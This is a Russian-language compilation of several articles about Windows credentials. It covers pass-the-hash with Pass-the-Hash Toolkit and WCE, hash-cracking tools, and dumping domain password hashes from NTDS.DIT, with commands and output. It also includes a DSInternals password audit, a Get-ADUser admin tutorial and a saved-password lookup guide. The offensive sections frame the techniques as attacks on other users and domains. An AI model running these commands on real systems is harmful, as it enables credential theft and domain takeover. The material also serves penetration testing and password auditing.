В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть даже брутить ничего не надо. Достал хеш — и можешь лазить по сетке с правами скомпрометированного юзера :). Соответствующий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit. В него входит три утилиты: IAM.EXE, WHOSTHERE.EXE и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NT-хешей переданного ей пароля. WHOSTHERE.EXE, выводит всю информацию о логин-сессиях, которую операционная система хранит в памяти. Тулза отображает информацию о пользователях, которые на данный момент залогинены в системе: имя юзера, домен/рабочую группу и NTLM-хеши пароля. Утилита IAM.EXE позволяет прикинуться другим пользователем при получении доступа к какой-либо папке на удаленной машине, подменяя данные текущего пользователя (логин, хеш пароля, домен и т. д.), когда они в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять ли ему доступ к запрашиваемому ресурсу. После успешной подмены все сетевые соединения с удаленными серверами, осуществляющие аутентификацию с помощью NTLM-хешей, используют подмененные данные, что позволяет получить доступ к «чужой» шаре. Рассмотрим примерный сценарий использования:

whosthere.exe — получаем данные всех залогиненных пользователей; • iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0— подменяем свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к сетевым ресурсам другого пользователя.

 

Windows Credentials Editor

Подменяем свои данные на данные другого пользователя при помощи Windows Credentials Editor (WCE)

WCE представляет собой аналог Pass-the-Hash Toolkit’а, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот инструмент мне нравится больше. При запуске без параметров приложение возвращает список пользователей, залогиненных на данный момент в системе (утилита вытаскивает NTLM/LM-хеши из памяти):

wce.exe –l

После этого можно выбрать из них подходящего кандидата для наших черных дел и воспользоваться его данными. Допустим, нам нужно подменить свои данные на данные другого пользователя и запустить какую-нибудь программу якобы уже из-под него:

wce.exe -s <username>:<domain>:<lmhash>:<nthash> \
  -c <program>.

Тогда выполняем следующую команду:

wce.exe –s user:Victim:1F27ACDE849935B0AAD3B435B51404EE
:579110C49145015C47ECD267657D3174 -c "c:\Program Files\
Internet Explorer\iexplore.exe"

Здесь «-s» «добавляет» нового пользователя с именем user и доменом Victim, за которыми следует LM- и NTLM-хеш, а «-с» указывает, какую программу следует запустить под этим пользователем. Как видишь, все довольно просто. 🙂

 

Программы для взлома хешей

SAMInside

Расшифровываем пароли при помощи SAMInside

insidepro.com/rus/saminside.shtml Пожалуй, самая популярная программа для взлома NTLM-хешей. Позволяет импортировать свыше десяти типов данных и использовать шесть видов атак для восстановления паролей пользователей.Код брутфорсера полностью написан на асме, что обеспечивает очень высокую скорость перебора. Очень важно, что программа корректно извлекает имена и пароли пользователей Windows в национальных кодировках символов.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Небольшая программка, которая может выручить в трудный момент. Она позволяет взломать NT-хеш, когда LM-пароль уже известен. Вся фишка в том, что LM-пароль регистронезависимый, а NT — регистрозависимый и как раз по нему и происходит проверка. Таким образом, если ты знаешь, что LM-пароль — ADMINISTRAT0R, но не знаешь, какие буквы заглавные, а какие нет, тебе поможет lm2ntcrack.

ighashgpu

www.golubev.com/hashgpu.htm Процесс подбора очень трудоемкий и занимает много времени. Поэтому, чтобы как-то его ускорить, целесообразно использовать ресурсы самого мощного устройства в системе — видеокарты. Программа ighashgpu позволяет задействовать GPU для взлома хешей MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Если при этом использовать атаку по словарю, успешный результат можно будет получить намного быстрее.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Еще одна утилита, использующая мощь графической карты для взлома различных хешей. Как можно догадаться по названию, ориентирована на видеокарты фирмы nVidia. Поддерживает внушительный список хешей: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5PS: md5($pass.$salt), MD5SP: md5($salt.$pass), SSHA: base64(sha1($pass.$salt)), DOUBLEMD5: md5(md5($pass)), TRIPLEMD5, LM: Microsoft LanMan hash и др.

ophcrack

ophcrack.sourceforge.net Программа для восстановления паролей Windows с использованием rainbow-таблиц. В таких таблицах в особой форме содержатся предварительно рассчитанные хеши для разных паролей. Таким образом, найдя заданный хэш в таблице, мы быстро получаем готовый пароль. Успех напрямую зависит от размера rainbow-таблицы. Так что, если не хочется брутить пароль тупым перебором, рекомендую скачать табличку побольше.

John the Ripper

www.openwall.com Официальная версия этого легендарного брутфорсера паролей не поддерживает взлом NTLM-хешей, но энтузиасты не могли не прокачать функционал любимой хак-тулзы. Выпущен специальный jumbo-патч, который позволяет брутфорсить более десяти дополнительных видов хешей, в том числе NTLM. На офсайте есть как diff’ы, которые можно наложить на оригинальные сорцы, так и готовые к использованию бинарники (в том числе для win32).

 

Заключение

Вот, собственно, и все. Мы рассмотрели все наиболее часто встречающиеся ситуации. На самом деле существует гораздо больше способов, позволяющих увести (например, с помощью снифера) и использовать хеши, но в большинстве своем они сводятся к рассмотренным выше методам.

Аудит паролей пользователей в Active Directory

Сложность пароля пользователя домена Active Directory это один из важнейших элементов безопасности как данных пользователя, так и домена целиком. Как правило, пользователи, чтобы облегчить себе жизнь, предпочитают использовать простые, легко запоминаемые пароли. Но тем самым, они серьезно уменьшают уровень защиты своих аккаунтов от злоумышленников. В этой статье мы покажем, как провести аудит используемых паролей пользователей в Active Directory с помощью PowerShell.

Для тестирования устойчивости паролей пользователей к атакам мы воспользуемся сторонним PowerShell модулем — DSInternals. Данный модуль содержит ряд командлетов, которые позволяет выполнять различные операции с базой данных AD в онлайн или офлайн режиме (непосредственно с файлом ntds.dit). В частности нас интересует командлет Test-PasswordQuality, позволяющий выявить пользователей со слабыми, одинаковыми, стандартными или пустыми паролями.

Примечание. Пароли пользователей из базы AD, естественно, не получится получить в открытом виде, но путем сравнения хешей паролей пользователей AD с хешами слов из словаря можно определить (или сравнить) пароли пользователей.

Установка модуля DSInternals

В PowerShell 5 установить модуль DSInternals можно онлайн из официальной галереи скриптов PowerShell так:

Install-Module DSInternals

В предыдущих версиях PowerShell или на изолированных системах придется скачать zip архив с последней версией модуля с GitHub (https://github.com/MichaelGrafnetter/DSInternals/releases). На момент написания статьи последний релиз — DSInternals v2.16.1 Полученный архив нужно распаковать в один из каталогов с модулями PowerShell:

  • C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DSInternals
  • C:\Users\%username%\Documents\WindowsPowerShell\Modules\DSInternals

Либо импортировать модуль командой:

Import-Module C:\distr\PS\DSInternals\DSInternals.psd1

Список доступных командлетов модуля можно получить так:

Get-Command -Module DSInternals

Словарь паролей

Далее нам понадобится файл со словарем часто используемых и «плохих» паролей. Его можно скачать из Интернета или создать самому. Учетные записи пользователей в Active Directory будут проверены на предмет соответствию паролям из этого словаря. Сохраним пароли в текстовый файл PasswordDict.txt.

Аудит паролей в AD с помощью Test-PasswordQuality

В следующих переменных укажем путь к файлу с паролями, имя домена и контроллера домена.

$DictFile = "C:\distr\PS\DSInternals\PasswordDict.txt"
$DC = "msk-dc01"
$Domain = "DC=winitpro,DC=loc"

Затем нужно получить NT хеши для всех паролей из файла-словаря, чтобы впоследствии сравнить их с хешами паролей пользователей AD:

$Dict = Get-Content $DictFile | ConvertTo-NTHashDictionary

Далее с помощью командлета Get-ADReplAccount получим список объектов в AD данные их NT, LM хешей, а также историю хешей. Затем для каждого пользователя будет проведенная проверка на предмет соответствия хеша его пароля с хешами из файла-словаря.

Get-ADReplAccount -All -Server $DC -NamingContext $Domain |
Test-PasswordQuality -WeakPasswordHashes $Dict -ShowPlainTextPasswords -IncludeDisabledAccounts

Результат выполнения скрипта может выглядеть так:

Active Directory Password Quality Report

—————————————-

Passwords of these accounts are stored using reversible encryption:

 

LM hashes of passwords of these accounts are present:

 

These accounts have no password set:

Guest

 

Passwords of these accounts have been found in the dictionary:

aromanov            q1w2e3

armtest              P@ssw0rd

dbidus            q1w2e3

sivannikov          Pa$$w0rd

locadmin              P@ssw0rd

tstusr                  P@ssw0rd

 

Historical passwords of these accounts have been found in the dictionary:

administrator        P@ssw0rd

aromanov            July2016

dbidus            August2016

 

These groups of accounts have the same passwords:

Group 1:

KMedvedev

AIvanov

NPetrov

Group 2:

ARMTest

locadmin

tst

Group 3:

DRomanov

DBacess

 

These computer accounts have default passwords:

 

Kerberos AES keys are missing from these accounts:

 

Kerberos pre-authentication is not required for these accounts:

 

Only DES encryption is allowed to be used with these accounts:

 

These administrative accounts are allowed to be delegated to a service:

Administrator

srv-zenoss

krbtgt

nnovikov

 

Passwords of these accounts will never expire:

jsmith

kabrams

These accounts are not required to have a password:

usertst1

usertst2

Как вы видите, были успешно найдены пользователи AD, пароли которых совпадают со словарем (поиск в том числе велся по истории паролей пользователей). Также найдены пользователи с одинаковыми паролями.

Итак, с помощью данного сценария можно довольно просто провести анализ качества паролей пользователей AD,  их устойчивости перед брутфорсом,  оценить используемую политику сложности паролей в домене, ну и сделать организационные выводы :). Такой аудит администраторы Active Directory могут (и даже должны) выполнять регулярно.

Эффективное получение хеша паролей в Windows. Часть 2

Эффективное получение хеша паролей в Windows. Часть 2

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.

Автор: Bernardo Damele A. G

Подводим итоги по менеджеру учетных записей безопасности

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.

И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAM и SYSTEM с целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.

Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.

Рекомендуемые инструменты

Лично я первое место отдаю утилите pwdump7. Утилита работает на всех версиях Windows (как 32-х, так и 64-разрядных), начиная с Windows 2000 и выше. Тем не менее, pwdump7 не может сливать хешированные пароли из памяти, и поэтому некоторые хеши вы можете так и не получить. Для того чтобы ничего не упустить, я всегда использую pwdump7 совместно с gsecdump.

Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.

Active Directory

Определение из Википедии:

Active Directory выступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]

Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.

В сети существует множество ресурсов, посвященных тому, как повысить свои права в домене, и поэтому в настоящей статье этой темы мы касаться не будем. В блоге pentestmonkey.net приведена вся необходимая информация по вопросу повышения прав.

Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!

Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).

Файл базы данных NTDS.DIT

Наша цель теперь: получить хешированные пароли доменных пользователей. Пароли, как и практически вся другая информация Active Directory (пользовательские объекты, группы, информация о принадлежности к группам и.т.д.) хранится в бинарном файле %SystemRoot%\ntds\NTDS.DIT.

Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.

Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.dit и файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.

Извлечение хешей из NTDS.DIT

Для извлечения хешей из ntds.dit используйте Windows Password Recovery Tool.

Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zip позволяет:

  • извлечь необходимые таблицы из ntds.dit: esedbdumphash

  • получить хеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.

Скачайте и скомпилируйте пакет:

$ wget http://csababarta.com/downloads/ntds_dump_hash.zip


$ unzip ntds_dump_hash.zip


$ cd libesedb


$ ./configure && make

Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatable из ntds.dit:

$ cd esedbtools


$ ./esedbdumphash -v -t /tmp/output

$ ls -1 /tmp/output.export/


datatable

Используйте dsdump.py, чтобы получить хеши из таблицы datatable с помощью bootkey (SYSKEY) из куста SYSTEM:

$ cd ../../creddump/


$ chmod +x *.py


$ ./dsuserinfo.py /tmp/output.export/datatable


$ ./dsdump.py /tmp/output.export/datatable --include-locked


--include-disabled > domain_hashes.txt

Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.

Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.

Изменения на 4 января 2012г.

В декабре 2011 года, Ксаба Барта изучил структуру NTDS.DIT более подробно, и в результате разработал новый фреймворк под названием NTDSXtract. Фреймворк совместно с утилитой libesedb позволяет извлечь информацию из таблиц базы данных ntds.dit. NTDSXtract и libesedb корректно работают на 64х-разрядных системах.

Скачайте и установите последнюю версию libesedb.

Извлеките таблицы из ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit

esedbexport 20111210


Opening file.


Exporting table 1 (MSysObjects) out of 12.


Exporting table 2 (MSysObjectsShadow) out of 12.


Exporting table 3 (MSysUnicodeFixupVer2) out of 12.


Exporting table 4 (datatable) out of 12.


Exporting table 5 (hiddentable) out of 12.


Exporting table 6 (link_table) out of 12.


Exporting table 7 (sdpropcounttable) out of 12.


Exporting table 8 (sdproptable) out of 12.


Exporting table 9 (sd_table) out of 12.


Exporting table 10 (MSysDefrag2) out of 12.


Exporting table 11 (quota_table) out of 12.


Exporting table 12 (quota_rebuild_progress_table) out of 12.


Export completed.

$ ls -1 /tmp/ntds.dit.export/


datatable.3


hiddentable.4


link_table.5


[…]

С помощью NTDSXtract извлеките из таблицы datatable хешированные пароли и историю паролей:

~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3


/tmp/ntds.dit.export/link_table.5 --passwordhashes --


passwordhistory --certificates --supplcreds file> --membership > /tmp/ntds.dit.output

Используйте этот небольшой скрипт, чтобы преобразовать результаты работы dsusers.py к более привычному виду, подобному тому, который вы увидите после работы pwdump:

$ python ntdstopwdump.py /tmp/ntds.dit.output


Administrator:500:NO


PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::


Guest:501:NO PASSWORD*********************:NO


PASSWORD*********************:::


[...]

PowerShell: Get-ADUser получение информации о пользователях Active Directory

Get-ADUser это один из основных командлетов PowerShell, который можно использовать для получения различной информации о пользователях Active Directory и их атрибутах. С помощью командлета Get-ADUser можно получить значение любого атрибута учетной записи пользователя AD, вывести список пользователей в домене с нужными атрибутами и экспортировать их в CSV, и использовать различные критерии для выборки доменных пользователей.

Комадлет Get-ADUser доступен начиная с PowerShell 2.0 и входит в специальный модуль для работы с Active Directory — Active Directory Module for Windows PowerShell (представлен в Windows Server 2008 R2). Командлеты модуля RSAT-AD-PowerShell позволяют выполнять различные операции с объектами каталога AD.

Примечание. Ранее для получения информации об атрибутах учетных записей пользователей AD приходилось использовать различные инструменты: консоль ADUC (в том числе сохраненные запросы AD), vbs скрипты, утилиту dsquery и т.п. Все эти инструменты может с лёгкостью заменить командлет Get-ADUser.

В этом примере мы покажем, как с помощью командлета PowerShell Get-ADUser получить информацию о времени последней смены пароля пользователя, когда истекает срок действия пароля и другие данные пользователей.

Как найти пользователя в AD и вывести его свойства с помощью Get-ADUser?

Для использования модуля RSAT-AD-PowerShell нужно запустить консоль PowerShell с правами администратора и импортировать модуль командой:

Import-Module activedirectory

В Windows Server 2012 и выше модуль RSAT-AD-PowerShell устанавливается по-умолчанию при развертывании на сервере роли Active Directory Domain Services (AD DS). Для установки модуля на рядовом сервере домена нужно выполнить команду:

Install-WindowsFeature -Name "RSAT-AD-PowerShell" –IncludeAllSubFeature

В десктопных версия Windows (например, в Windows 10) для работы коммандера Get-AdUser нужно установить соответствующую версию RSAT и включить в Панели Управления компонент Active Directory Module for Windows PowerShell (Remote Server Administration Tools -> Role Administration Tools -> AD DS and AD LDS Tools -> AD DS Tools).

Вы можете установить модуль AD из PowerShell:

Add-WindowsCapability –online –Name “Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0”

Полный список всех аргументов командлета Get-ADUser можно получить так:

help Get-ADUser

Для использования командлета Get-ADUser не обязательно использовать учетную запись с правами администратора домена. Любой авторизованный пользователь домена AD может выполнять команды PowerShell для получения значений большинства атрибутов объектов AD (кроме защищенных, см. пример с LAPS). Если нужно выполнить команду Get-ADUser из-под другой учетной записи, используйте параметр Credential.

Чтобы вывести список всех учетных записей домена, выполните команду:

Get-ADUser -filter *

Важно. Не рекомендуется выполнять эту команду в доменах AD с большим количеством аккаунтов, т.к. возможно перегрузка контроллера домена, предоставляющего данные.

По-умолчанию командлет Get-ADUser возвращает только 10 основных атрибутов (из более чем 120 свойств учетных записей пользователей): DistinguishedName, SamAccountName, Name, SID, UserPrincipalName, ObjectClass, статус аккаунта (Enabled: True/False согласно атрибуту UserAccountControl), и т.д.

В выводе командлета отсутствует информация о времени последней смены пароля пользователя.

Чтобы выполнить запрос на конкретном контроллере домена используется параметр – Server:

Get-ADUSer –Server DC01.winitpro.loc –Identity tstuser

Чтобы вывести полную информации обо всех доступных атрибутах пользователя tuser, выполните команду:

Get-ADUser -identity tuser -Properties *

Командлет Get-ADUser с параметром Properties * вывел список всех атрибутов пользователя AD и их значения.

Попробуем изменить параметры команды Get-ADUser, чтобы вывести только нужные нам атрибуты пользователя. Можно вывести сразу несколько атрибутов пользователя:

  • PasswordExpired
  • PasswordLastSet
  • PasswordNeverExpires
  • lastlogontimestamp

Выполните команду:

Get-ADUser tuser -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires, lastlogontimestamp

Теперь в информации о пользователе есть данные о статусе аккаунта (Expired:True/False), дате смены пароля и времени последнего входа в домен (lastlogontimestamp). Представим информацию в более удобном табличном виде и уберем все лишние атрибуты с помощью Select-Object –Property или Format-Table:

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | ft Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires

Получение пользователей из нескольких OU с помощью Get-ADUser

Чтобы вывести пользователей только из определенного контейнера домена (OU), воспользуйтесь параметром SearchBase:

Get-ADUser -SearchBase ‘OU=Moscow,DC=winitpro,DC=loc’ -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | ft Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires

Если вам нужно выбрать пользователей сразу из нескольких OU, используйте следующую конструкцию:

$OUs = "OU=Moscow,DC=winitpro,DC=local","OU=SPB,DC=winitpro,DC=loc"
$OUs | foreach {Get-ADUser -SearchBase $_ -Filter * |select Name, Enabled}

Получить Email адреса пользователей из AD

Email пользователя это один из атрибутов в Active Directory. Чтобы вывести список email адресов пользователей, вы должны добавить поле EmailAddress в выбираемые поля командлета Get-ADUser.

Get-ADUser -filter * -properties EmailAddress -SearchBase ‘OU=MSK,DC=winitpro,DC=loc’| select-object Name, EmailAddress

Вывести список активных учёток с почтовыми адресами:

Get-ADUser -Filter {(mail -ne "null") -and (Enabled -eq "true")} -Properties Surname,GivenName,mail | Select-Object Name,Surname,GivenName,mail | Format-Table

Список пользователей, у которые нет email адреса:

Get-ADUser -Filter * -Properties EmailAddress | where -Property EmailAddress -eq $null

Следующий пример позволяет выгрузить адресную книгу email адресов компании в виде csv файла, который в дальнейшем можно импортировать в Outlook или Mozilla Thunderbird:

Get-ADUser -Filter {(mail -ne "null") -and (Enabled -eq "true")} -Properties Surname,GivenName,mail | Select-Object Name,Surname,GivenName,mail | Export-Csv -NoTypeInformation -Encoding utf8 -delimiter "," $env:temp\mail_list.csv

Get-ADUser: экспорт пользователей домена в текстовый или CSV/Excel файл

Полученный список пользователей домена с атрибутами можно выгрузить в текстовый файл:

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | ft Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires > C:\temp\users.txt

Или вы можете выгрузить пользователей AD в файл CSV, который в дальнейшем будет удобно экспортировать в Excel.

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires | select Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires | Export-csv -path c:\temp\user-password-expires-2019.csv -Append -Encoding UTF8

Get-ADUser –Filter: Сортировка и фильтрация списка пользователей AD

С помощью параметра –Filter вы можете фильтровать список пользователей по одному или нескольким атрибутам. В качестве аргументов этого параметра можно указать значения определённых атрибутов пользователей Active Directory. При использовании параметра –Filter командлет Get-ADUser выведет только пользователей, которые соответствуют критериям фильтра.

Например, выведем список активных (Enabled) учётных записей пользователей, чье имя содержит «Dmitry» (в примере ниже используется множественный фильтр, вы можете комбинировать условия с помощью стандартных логических операторов сравнения PowerShell):

Get-AdUser -Filter "(Name -like '*Dmitry*') -and (Enabled -eq 'True')" -Properties * |select name,enabled

Дополнительно с помощью sort-object вы можете отсортировать полученный список пользователей по определенному атрибуту. Кроме того, для выборки пользователей можно использовать командлет where. Здесь также можно использовать сразу несколько критериев фильтрации.

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires -SearchBase ‘OU=Moscow,DC=winitpro,DC=loc’| where {$_.name –like “*Dmitry*” -and $_.Enabled -eq $true} | sort-object PasswordLastSet | select-object Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires

Таким образом, можно построить таблицу с любыми необходимыми атрибутами пользователей Active Directory.

Get-ADUser:  разные примеры использования

Далее приведем еще несколько полезных вариантов запросов о пользователях Active Directory с помощью различных фильтров. Вы можете их комбинировать для получения необходимого списка пользователей домена:

Вывод пользователей AD, имя которых начинается с Roman:

Get-ADUser -filter {name -like "Roman*"}

Чтобы подсчитать общее количество всех аккаунтов в Active Directory:

Get-ADUser -Filter {SamAccountName -like "*"} | Measure-Object

Список всех активных (не заблокированных) учетных записей в AD:

Get-ADUser -Filter {Enabled -eq "True"} | Select-Object SamAccountName,Name,Surname,GivenName | Format-Table

Вывести дату создания учётной записи пользователя в домене:

get-aduser -Filter * -Properties Name, WhenCreated | Select name, whenCreated

Вывести всех пользователей, которые были созданы за последние 24 часа (пример отсюда):

$lastday = ((Get-Date).AddDays(-1))
Get-ADUser -filter {(whencreated -ge $lastday)}

Список учетных записей с истекшим сроком действия пароля (срок действия пароля настраивается в доменной политике):

Get-ADUser -filter {Enabled -eq $True} -properties name,passwordExpired | where {$_.PasswordExpired}|select name,passwordexpired

Задача: для списка учетных записей, которые хранятся в текстовом файле (по одной учетной записи в строке), нужно получить телефон пользователя из AD и выгрузить информацию в текстовый csv файл (для дальнейшего формирования отчета в Exсel).

Import-Csv c:\ps\usernsme_list.csv | ForEach {
Get-ADUser -identity $_.user -Properties Name, telephoneNumber |
Select Name, telephoneNumber |
Export-CSV c:\ps\export_ad_list.csv -Append -Encoding UTF8
}

Пользователи, которые не меняли свой пароль в течении последних 90 дней:

$90_Days = (Get-Date).adddays(-90)
Get-ADUser -filter {(passwordlastset -le $90_days)}

Чтобы получить фотографию пользователя из Active Directory и сохранить ее в jpg файл:

$user = Get-ADUser winadmin -Properties thumbnailPhoto
$user.thumbnailPhoto | Set-Content winadmin.jpg -Encoding byte

Список групп, в которых состоит учетная запись пользователя

Get-AdUser winadmin -Properties memberof | Select memberof -expandproperty memberof

Вывести список пользователей из OU, которые состоят в определенной группе безопасности:

Get-ADUser -SearchBase ‘OU=Moscow,DC=winitpro,DC=loc’ -Filter * -properties memberof | Where-Object {($_.memberof -like “*WKS admins*”)}

Вывести список компьютеров домена, на которые разрешено входить пользователю (ограничение через атрибут LogonWorkstations):

Get-ADUser AIvanov -Properties LogonWorkstations | Format-List Name, LogonWorkstations

Совет. Для получения данных о компьютерах Active Directory используется командлет Get-ADComputer.

Как найти сохраненные пароли на компьютере

Существует большое количество веб-сайтов и программ, предлагающих конечным пользователям сохранять пароли на своих персональных компьютерах. Популярные веб-браузеры, такие как Mozilla Firefox, Internet Explorer, Google Chrome, и программы для обмена мгновенными сообщениями, такие как Windows Live Messenger, способны сохранять логины и пароли пользователей на локальном компьютере. Обычная задача, которая возникает перед конечным пользователем, — это найти сохраненные пароли на компьютере, чтобы восстановить потерянную или забытую информацию о доступе.В зависимости от используемого приложения, операционной системы и конкретных прав пользователя задача может быть столь же простой, как выбор некоторых параметров в ОС или необходимость загрузки определенных инструментов для взлома хэша файла паролей.

Как найти сохраненные пароли в Windows XP

Microsoft Windows имеет возможность управлять сохраненными именами пользователей и паролями для отдельных пользователей, поэтому для этой цели может не потребоваться уникальное программное обеспечение.

Шаг 1 — Щелкните кнопку меню «Пуск» и запустите «Панель управления».

Шаг 2 — Найдите в меню «Выберите категорию» отметку и выберите пункт «Учетные записи пользователей».

Шаг 3 — Откройте пункт меню «Сохраненные имена пользователей и пароли», выбрав «Управление моими сетевыми паролями» под меткой меню «Связанные задачи». Если вы вошли в систему как администратор, выберите свою учетную запись. Затем в разделе связанных задач выберите «Управление паролями моей сети».

Шаг 4 — Просмотрите список сохраненных имен пользователей и паролей.

Как найти сохраненные пароли в Windows 7

Шаг 1 — Нажмите кнопку меню «Пуск» и запустите «Панель управления».

Шаг 2 — Щелкните «Учетные записи пользователей и семейная безопасность», затем «Учетные записи пользователей»

Шаг 3 — На левой панели щелкните «Управление паролями сети».

Как найти сохраненные пароли в Windows 8

Шаг 1 — Нажмите кнопку меню «Пуск» и запустите «Панель управления».

Шаг 2 — Щелкните «Учетные записи пользователей и семейная безопасность», затем «Диспетчер учетных данных»

Как просмотреть сохраненные пароли на MAC

На компьютерах, работающих под управлением операционной системы Mac OS X, когда пользователь указывает своему компьютеру сохранить пароль, связанный с приложением, веб-сайтом или беспроводной сетью, информация сохраняется на жестком диске компьютера. OS X использует служебную программу Keychain Access, чтобы помочь пользователям Mac находить сохраненные пароли и управлять ими.

Шаг 1 — Запустите OS X «Finder», щелкнув значок меню на док-станции компьютера. Затем перейдите в папку «Утилиты», которая находится в разделе «Приложения» на жестком диске Mac.

Шаг 2 — Откройте значок программы «Связка ключей», чтобы запустить служебную программу паролей. Затем выберите «Пароли» из опций, расположенных в нижнем левом углу окна программы.

Шаг 3 — В списке найдите приложение, веб-сайт или сетевое имя, связанное с паролем, который вы хотите просмотреть, и дважды щелкните его.Откроется новое окно с информацией о нем.

Шаг 4 — Установите флажок «Показать пароль», чтобы открыть пароль. Вам будет предложено ввести пароль пользователя и нажать «Разрешить», чтобы увидеть его. Как только вы это сделаете, он будет виден в поле «Показать пароль».

Как найти сохраненные пароли в Firefox

Приложение Mozilla FireFox Password Manager хранит имена пользователей и пароли на жестком диске вашего компьютера и автоматически вводит данные при посещении веб-сайтов, которым требуется информация.

Шаги по использованию Менеджера паролей Mozilla FireFox

Шаг 1 — Запустите Mozilla Firefox, дважды щелкнув значок программы на рабочем столе вашего компьютера.

Шаг 2 — Выберите кнопку меню «FireFox», а затем щелкните пункт меню «Параметры».

Шаг 3 — Выберите вкладку меню «Безопасность», расположенную в верхней части окна «Параметры».

Шаг 4 — Установите флажок «Запомнить пароли для сайтов», если он еще не установлен.

Шаг 5 — Войдите на веб-сайт, для которого требуются имя пользователя и пароль. Нажмите кнопку меню «Запомнить» в появившемся диалоговом окне, чтобы сохранить новый пароль в диспетчере паролей FireFox. Кроме того, вы можете выбрать пункт меню «Никогда для этого сайта», чтобы добавить исключение в диспетчер паролей.

Шаг 6 — Выберите кнопку меню «Исключения» в FireFox, чтобы просмотреть текущий список исключений, для которых веб-браузер настроен так, чтобы никогда не сохранять пароль.Сайты можно удалить из этого списка, нажав кнопку меню «Удалить все» (удаляет все исключения) или индивидуально, выбрав сайт и нажав кнопку «Удалить».

Шаг 7 — Просмотрите сохраненные пароли в Менеджере паролей, выбрав кнопку меню «Сохраненные пароли». Вы также можете удалить пароли из этого окна, нажав кнопки меню «Удалить все» или «Удалить».

Шаги по изменению главного пароля диспетчера паролей FireFox

Мастер-пароль FireFox используется для защиты главного ключа браузера FireFox на вашем компьютере.Главный ключ используется для шифрования паролей электронной почты, паролей веб-сайтов и другой потенциально конфиденциальной информации, хранящейся в Диспетчере форм и паролей на вашем компьютере.

